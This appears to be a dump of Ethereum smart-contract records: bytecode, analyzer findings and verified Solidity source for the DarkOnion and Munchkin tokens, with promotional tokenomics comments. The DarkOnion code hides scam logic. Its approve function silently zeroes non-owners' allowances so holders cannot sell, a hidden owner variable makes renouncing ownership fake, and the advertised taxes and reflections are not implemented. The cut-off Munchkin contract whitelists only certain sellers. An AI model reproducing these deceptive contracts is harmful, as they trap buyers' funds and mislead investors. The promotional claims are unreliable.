08590600090869030904290600401611c1f565b600060405180830381600087803b158015610e6857600080fd5b505af1158015610e7c573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f4565b6001600160a01b038216610f545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f4565b6001600160a01b03821661107b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f4565b600081116110dd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f4565b6001600160a01b03831660009081526005602052604090205460ff16156111855760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f4565b6001600160a01b03831660009081526004602052604081205460ff161580156111c757506001600160a01b03831660009081526004602052604090205460ff16155b80156111dd5750600c54600160a81b900460ff16155b801561120d5750600c546001600160a01b038581169116148061120d5750600c546001600160a01b038481169116145b156113e457600c54600160b81b900460ff1661126b5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f4565b50600c546001906001600160a01b03858116911614801561129a5750600b546001600160a01b03848116911614155b80156112a7575042600e54115b156112ee5760006112b7846106b4565b90506112d760646112d1670de0b6b3a76400006002611504565b90611583565b6112e184836115c5565b11156112ec57600080fd5b505b600d5442141561131c576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611327306106b4565b600c54909150600160b01b900460ff161580156113525750600c546001600160a01b03868116911614155b156113e25780156113e257600c54611386906064906112d190600f90611380906001600160a01b03166106b4565b90611504565b8111156113b357600c546113b0906064906112d190600f90611380906001600160a01b03166106b4565b90505b60006113c0826003611583565b90506113cc8183611c90565b91506113d781611624565b6113e082610d17565b505b505b6113f084848484611654565b50505050565b6000818484111561141a5760405162461bcd60e51b81526004016104f4919061193d565b5060006114278486611c90565b95945050505050565b60006006548211156114975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f4565b60006114a1611757565b90506114ad8382611583565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261151357506000610527565b600061151f8385611ca7565b90508261152c8583611cc6565b146114ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f4565b60006114ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061177a565b6000806115d28385611bea565b9050838110156114ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f4565b600c805460ff60b01b1916600160b01b1790556116443061dead83610fb5565b50600c805460ff60b01b19169055565b8080611662576116626117a8565b600080600080611671876117c4565b6001600160a01b038d166000908152600160205260409020549397509195509350915061169e908561180b565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116cd90846115c5565b6001600160a01b0389166000908152600160205260409020556116ef8161184d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173491815260200190565b60405180910390a3505050508061175057611750600954600855565b5050505050565b6000806000611764611897565b90925090506117738282611583565b9250505090565b6000818361179b5760405162461bcd60e51b81526004016104f4919061193d565b5060006114278486611cc6565b6000600854116117b757600080fd5b6008805460095560009055565b6000806000806000806117d9876008546118d7565b9150915060006117e7611757565b90506000806117f78a8585611904565b909b909a5094985092965092945050505050565b60006114ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f6565b6000611857611757565b905060006118658383611504565b3060009081526001602052604090205490915061188290826115c5565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118b28282611583565b8210156118ce57505060065492670de0b6b3a764000092509050565b90939092509050565b600080806118ea60646112d18787611504565b905060006118f8868361180b565b96919550909350505050565b600080806119128685611504565b905060006119208686611504565b9050600061192e838361180b565b92989297509195505050505050565b600060208083528351808285015260005b8181101561196a5785810183015185820160400152820161194e565b8181111561197c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051357600080fd5b80356119b281611992565b919050565b600080604083850312156119ca57600080fd5b82356119d581611992565b946020939093013593505050565b6000806000606084860312156119f857600080fd5b8335611a0381611992565b92506020840135611a1381611992565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a4d57600080fd5b823567ffffffffffffffff80821115611a6557600080fd5b818501915085601f830112611a7957600080fd5b813581811115611a8b57611a8b611a24565b8060051b604051601f19603f83011681018181108582111715611ab057611ab0611a24565b604052918252848201925083810185019188831115611ace57600080fd5b938501935b82851015611af357611ae4856119a7565b84529385019392850192611ad3565b98975050505050505050565b600060208284031215611b1157600080fd5b81356114ad81611992565b60008060408385031215611b2f57600080fd5b8235611b3a81611992565b91506020830135611b4a81611992565b809150509250929050565b600060208284031215611b6757600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611be357611be3611bb9565b5060010190565b60008219821115611bfd57611bfd611bb9565b500190565b600060208284031215611c1457600080fd5b81516114ad81611992565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c6f5784516001600160a01b031683529383019391830191600101611c4a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611ca257611ca2611bb9565b500390565b6000816000190483118215151615611cc157611cc1611bb9565b500290565b600082611ce357634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204eff0fd7f96bf6aea560e2f41e264f2aa6b7327c90fc3e63aa214a3fa96a3f4364736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,544 |
0x39d1604fa4b44030e9762fd16197ee7bb1e6eaa7
|
/**
*Submitted for verification at Etherscan.io on 2021-12-20
*/
/*
TOKENOMICS
$DARK - Governance token with $DARK reflections.
• Total Supply: 100 Billion.
• Team Tokens: 3% (100% Vested, 90 days).
• Pre-Launch Giveaway: 3% (100% Vested).
• Deployed at launch: 96% (96 Billion).
• Start Liquidity: $30,000 (7.6 ETH)
Taxes and Fees:
• Taxes: 10%
Important: During the first 24 hours, the sell tax is set at 25% and goes back to 10% after.
• $DARK Reflection: 3%
• Virtual Asset Acquisition: 7%
In order to be eligible for reflections, one must hold at least 0.05% of the $DARK supply
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract DarkOnion is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**9* 10**18;
string private _name = 'DarkOnion ' ;
string private _symbol = 'DARK ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122029cf0e399e3514e9bdbe70151ee6c1e836975ad7c13ed8a2f98b73a782eb455764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,545 |
0x76ce25898b6749c36a38ebb49c4f7fb83e62e5cc
|
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
/*
Introducing: The Munchkin Protocol Ecosystem
An open-source protocol to create, exchange, settle, and manage synthetic assets.
Derivatives: A Modern Financial Instrument
Financial derivatives have established themselves as one of the most powerful concepts of modern finance. Derivatives are essentially financial contracts that represent a function of an underlying asset without actually owning them. Derivatives enable market entities to hedge risks by facilitating buying or selling any asset at a set price in a pre-determined period. This function allowed commodity producers and consumers to hedge risks against price differences in the value of their assets depending upon future production or consumption.
The applications of derivatives laid the foundation for exchange-traded derivatives and Over the Counter (OTC) derivatives — centralized exchanges facilitating contractual agreements for buyers and sellers to exchange risks and govern margin requirements. With the emergence of centralized exchanges and bespoke legal agreements, there emerged another application of financial derivatives — exposure to synthetic assets.
Synthetic Assets
In simple terms, synthetic assets allow accessing the benefits of an asset without actually owning it. It enables exposure of any asset such as gold, stocks, indices, commodities, digital assets without holding these underlying assets. Synthetic assets follow a function such as the price of the specific asset and allow you to reap the benefits of profit gains. This way synthetic assets allow exposure to your preferred asset, through buying or selling, without holding it.
There are several benefits to holding a synthetic asset. One of the use-cases is exposure to assets without dealing with custodial requirements. For instance, leveraging the profit gains of Gold, but without dealing with custody. Another use-case is the facility to trade in a high-value asset without the liquidity factor. For instance, exposure to Bitcoin without the factor of buying Bitcoin trading at levels above $50,000.
Fundamental Issues with Financial Derivatives
Today, the market of financial derivatives is restricted, holds counterparty risks, highly dependent on intermediaries, bound with geographical limitations, and is an overall costly process. The experience of owning and trading derivatives is tedious, encompasses risky factors, and is expensive.
The restrictions and requirements of engaging with derivatives have led to limited access to this financial instrument. Moreover, it has led to unbalanced market dynamics creating an unfair advantage and restricted access to the financial instrument.
Munchkin Protocol seeks to create a fair way to engage with synthetic assets and equal opportunities to access derivatives.
Introducing Munchkin Protocol
Munchkin is an open-source protocol to create, exchange, settle, and manage synthetic assets. Leveraging the technological innovation of blockchain, Munchkin encompasses a multitude of products enabling engagement with decentralized derivatives.
It is a DeFi protocol that allows traders exposure to real-world assets by facilitating an environment for the creation and settlement of synthetic assets. We seek to bring value by leveraging the best functions of DeFi and its evolution that offers innovative methods to connect real-world assets to the blockchain. To empower scalability and high-performance, Munchkin Protocol uses the interface of the Binance Smart Chain (BSC) network.
The protocol enables developers, individuals, and Decentralized Autonomous Organizations (DAO) to deploy and create synthetic assets on the Binance Smart Chain (BSC).
Value Proposition
Munchkin Protocol brings tangible advantages to the derivatives market by encompassing the advantages of tokenization on blockchain, decentralized infrastructure for the creation and management of synthetic assets, and a trustless architecture for exchanging derivatives.
This infrastructure of Munchkin Protocol offers a multitude of tangible advantages.
Global Accessibility — Global accessibility that is unrestrained by geographical locations and exposure to foreign markets, stocks, and other assets.
Fractional — Tokenization of synthetic assets on the blockchain allows market participants to hold or invest in premium assets in fractional amounts.
Non-Custodial — Munchkin Protocol allows non-custodial access to real-world assets and facilitates new tools for investment.
Frictionless Experience — The Protocol offers a seamless way to exchange synthetic assets with limitless possibilities. For instance, exchanging Tesla stock with synthetic Bitcoin.
Execution — The Protocol encompasses a decentralized exchange for near-instant execution of orders supported with deep liquidity.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Munchkin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
